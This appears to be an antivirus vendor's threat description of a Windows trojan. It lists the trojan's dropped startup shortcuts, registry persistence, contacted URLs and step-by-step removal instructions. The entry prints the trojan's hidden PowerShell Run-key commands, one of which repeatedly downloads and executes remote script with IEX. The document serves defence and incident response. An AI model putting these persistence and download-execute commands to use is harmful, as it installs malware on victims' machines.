Trojan.Win32.OTORUN.AV
Trojan:Win32/Boshaud.A!bit(Microsoft), Trojan-Downloader.Win32.AutoIt.ann(Kaspersky)
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
920,064 bytes
EXE
No
26 Mar 2019
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan drops the following files:
- %User Startup%\sCloud.lnk
- %User Startup%\nCloud.lnk
- %User Startup%\rCloud.lnk
(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows XP, or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, and 8.)
Autostart Technique
This Trojan adds the following registry entries to enable its automatic execution at every system startup:
HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
nCloud = "cmd /c start /min powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software).Vx)).EntryPoint.Invoke($Null,$Null)"
HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
rCloud = "cmd /c start /min powershell -EP b -w hidden -noexit -C for(;;){try{IEX((new-object net.webclient).downloadstring('https://{BLOCKED}e.com/plain/sF4RBX'))}catch{}Start-Sleep 200}"
Other System Modifications
This Trojan adds the following registry entries as part of its installation routine:
HKEY_CURRENT_USER\Software
Vx = {Base-64 encoded}
Other Details
This Trojan connects to the following possibly malicious URL:
- https://{BLOCKED}e.com/plain/sF4RBX
- https://{BLOCKED}t.io/snippets/ezfhibwlko/raw/main.c
- http://murtad.{BLOCKED}ges.com/1.txt
SOLUTION
9.850
14.894.03
25 Mar 2019
14.895.00
26 Mar 2019
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Identify and terminate files detected as Trojan.Win32.OTORUN.AV
- Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
- If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
- If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.
Step 4
Delete this registry value
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_CURRENT_USER\Software
- Vx = {Base-64 encoded}
- Vx = {Base-64 encoded}
- In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- nCloud = cmd /c start /min powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software).Vx)).EntryPoint.Invoke($Null,$Null)
- nCloud = cmd /c start /min powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software).Vx)).EntryPoint.Invoke($Null,$Null)
- In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- rCloud = cmd /c start /min powershell -EP b -w hidden -noexit -C for(;;){try{IEX((new-object net.webclient).downloadstring('https://ideone.com/plain/sF4RBX'))}catch{}Start-Sleep 200}
- rCloud = cmd /c start /min powershell -EP b -w hidden -noexit -C for(;;){try{IEX((new-object net.webclient).downloadstring('https://ideone.com/plain/sF4RBX'))}catch{}Start-Sleep 200}
Step 5
Search and delete this file
- %User Startup%\sCloud.lnk
- %User Startup%\nCloud.lnk
- %User Startup%\rCloud.lnk
Step 6
Scan your computer with your Trend Micro product to delete files detected as Trojan.Win32.OTORUN.AV. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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